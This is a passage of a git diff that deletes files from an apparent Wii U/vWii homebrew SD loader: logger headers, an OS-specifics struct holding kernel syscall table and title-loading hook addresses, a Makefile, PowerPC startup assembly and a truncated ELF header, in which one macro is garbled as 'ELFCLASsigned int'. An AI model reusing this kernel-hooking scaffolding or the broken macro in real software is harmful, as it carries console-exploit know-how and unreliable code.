char * tmp = NULL; - - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - log_print(tmp); - } - va_end(va); - - if(tmp) - free(tmp); -} diff --git a/dsrom/vwii_loader/logger.h b/dsrom/vwii_loader/logger.h deleted file mode 100644 index 5f602fb..0000000 --- a/dsrom/vwii_loader/logger.h +++ /dev/null @@ -1,86 +0,0 @@ -#ifndef __LOGGER_H_ -#define __LOGGER_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -/* Communication bytes with the server */ -// Com -#define BYTE_NORMAL 0xff -#define BYTE_SPECIAL 0xfe -#define BYTE_OK 0xfd -#define BYTE_PING 0xfc -#define BYTE_LOG_STR 0xfb -#define BYTE_DISCONNECT 0xfa - -// SD -#define BYTE_MOUNT_SD 0xe0 -#define BYTE_MOUNT_SD_OK 0xe1 -#define BYTE_MOUNT_SD_BAD 0xe2 - -// Replacement -#define BYTE_STAT 0x00 -#define BYTE_STAT_ASYNC 0x01 -#define BYTE_OPEN_FILE 0x02 -#define BYTE_OPEN_FILE_ASYNC 0x03 -#define BYTE_OPEN_DIR 0x04 -#define BYTE_OPEN_DIR_ASYNC 0x05 -#define BYTE_CHANGE_DIR 0x06 -#define BYTE_CHANGE_DIR_ASYNC 0x07 -#define BYTE_MAKE_DIR 0x08 -#define BYTE_MAKE_DIR_ASYNC 0x09 -#define BYTE_RENAME 0x0A -#define BYTE_RENAME_ASYNC 0x0B -#define BYTE_REMOVE 0x0C -#define BYTE_REMOVE_ASYNC 0x0D - -// Log -#define BYTE_CLOSE_FILE 0x40 -#define BYTE_CLOSE_FILE_ASYNC 0x41 -#define BYTE_CLOSE_DIR 0x42 -#define BYTE_CLOSE_DIR_ASYNC 0x43 -#define BYTE_FLUSH_FILE 0x44 -#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 -#define BYTE_GET_LAST_ERROR 0x46 -#define BYTE_GET_MOUNT_SOURCE 0x47 -#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 -#define BYTE_GET_POS_FILE 0x49 -#define BYTE_SET_POS_FILE 0x4A -#define BYTE_GET_STAT_FILE 0x4B -#define BYTE_EOF 0x4C -#define BYTE_READ_FILE 0x4D -#define BYTE_READ_FILE_ASYNC 0x4E -#define BYTE_READ_FILE_WITH_POS 0x4F -#define BYTE_READ_DIR 0x50 -#define BYTE_READ_DIR_ASYNC 0x51 -#define BYTE_GET_CWD 0x52 -#define BYTE_SET_STATE_CHG_NOTIF 0x53 -#define BYTE_TRUNCATE_FILE 0x54 -#define BYTE_WRITE_FILE 0x55 -#define BYTE_WRITE_FILE_WITH_POS 0x56 - -#define BYTE_SAVE_INIT 0x57 -#define BYTE_SAVE_SHUTDOWN 0x58 -#define BYTE_SAVE_INIT_SAVE_DIR 0x59 -#define BYTE_SAVE_FLUSH_QUOTA 0x5A -#define BYTE_SAVE_OPEN_DIR 0x5B -#define BYTE_SAVE_REMOVE 0x5C - -#define BYTE_CREATE_THREAD 0x60 - - -int logger_connect(int *socket); -void logger_disconnect(int socket); -void log_string(int sock, const char* str, char byte); -void log_byte(int sock, char byte); - -void log_init(void); -void log_print(const char *str); -void log_printf(const char *format, ...); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/dsrom/vwii_loader/os_defs.h b/dsrom/vwii_loader/os_defs.h deleted file mode 100644 index b92c527..0000000 --- a/dsrom/vwii_loader/os_defs.h +++ /dev/null @@ -1,40 +0,0 @@ -#ifndef __OS_DEFS_H_ -#define __OS_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _OsSpecifics -{ - unsigned int addr_OSDynLoad_Acquire; - unsigned int addr_OSDynLoad_FindExport; - unsigned int addr_OSTitle_main_entry; - - unsigned int addr_KernSyscallTbl1; - unsigned int addr_KernSyscallTbl2; - unsigned int addr_KernSyscallTbl3; - unsigned int addr_KernSyscallTbl4; - unsigned int addr_KernSyscallTbl5; - - int (*LiWaitIopComplete)(int, int *); - int (*LiWaitIopCompleteWithInterrupts)(int, int *); - unsigned int addr_LiWaitOneChunk; - unsigned int addr_PrepareTitle_hook; - unsigned int addr_sgIsLoadingBuffer; - unsigned int addr_gDynloadInitialized; - unsigned int orig_LiWaitOneChunkInstr; -} OsSpecifics; - -typedef struct _s_mem_area -{ - unsigned int address; - unsigned int size; - struct _s_mem_area* next; -} s_mem_area; - -#ifdef __cplusplus -} -#endif - -#endif // __OS_DEFS_H_ diff --git a/dsrom/vwii_loader/sd_loader/Makefile b/dsrom/vwii_loader/sd_loader/Makefile deleted file mode 100644 index 1f8cf29..0000000 --- a/dsrom/vwii_loader/sd_loader/Makefile +++ /dev/null @@ -1,178 +0,0 @@ -#--------------------------------------------------------------------------------- -# Clear the implicit built in rules -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") -endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii -export PORTLIBS := $(DEVKITPRO)/portlibs/ppc - -PREFIX := powerpc-eabi- - -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -TARGET := sd_loader -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src -DATA := -INCLUDES := - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \ - -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,--gc-sections -Xlinker -Map=fuck.map - -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib \ - $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) - -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) -TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) -PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) -else - export LD := $(CXX) -endif - -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 - -#--------------------------------------------------------------------------------- -# build a list of library paths -#--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib - -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install - -#--------------------------------------------------------------------------------- -$(BUILD): - @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) - -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ - -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.png.o : %.png - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ttf.o : %.ttf - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - --include $(DEPENDS) - -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- diff --git a/dsrom/vwii_loader/sd_loader/include/stdint.h b/dsrom/vwii_loader/sd_loader/include/stdint.h deleted file mode 100644 index fff483d..0000000 --- a/dsrom/vwii_loader/sd_loader/include/stdint.h +++ /dev/null @@ -1,15 +0,0 @@ -#ifndef _STDINT_WRAP_H -#define _STDINT_WRAP_H - -#define int32_t dontcare_int32_t -#define uint32_t dontcare_uint32_t - -#include_next - -#undef int32_t -#undef uint32_t - -typedef signed int int32_t; -typedef unsigned int uint32_t; - -#endif \ No newline at end of file diff --git a/dsrom/vwii_loader/sd_loader/src/crt0.S b/dsrom/vwii_loader/sd_loader/src/crt0.S deleted file mode 100644 index c803619..0000000 --- a/dsrom/vwii_loader/sd_loader/src/crt0.S +++ /dev/null @@ -1,20 +0,0 @@ - - .extern _main - .globl _start - -_start: - mflr 0 - stwu 1,-0x18(1) - stw 0,0x1C(1) - stw 3,8(1) - stw 4,0xC(1) - # jump to our main - bl _main - # launch original title - mtctr 3 - lwz 3,8(1) - lwz 4,0xC(1) - lwz 0,0x1C(1) - mtlr 0 - addi 1,1,0x18 - bctr diff --git a/dsrom/vwii_loader/sd_loader/src/elf_abi.h b/dsrom/vwii_loader/sd_loader/src/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/vwii_loader/sd_loader/src/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol 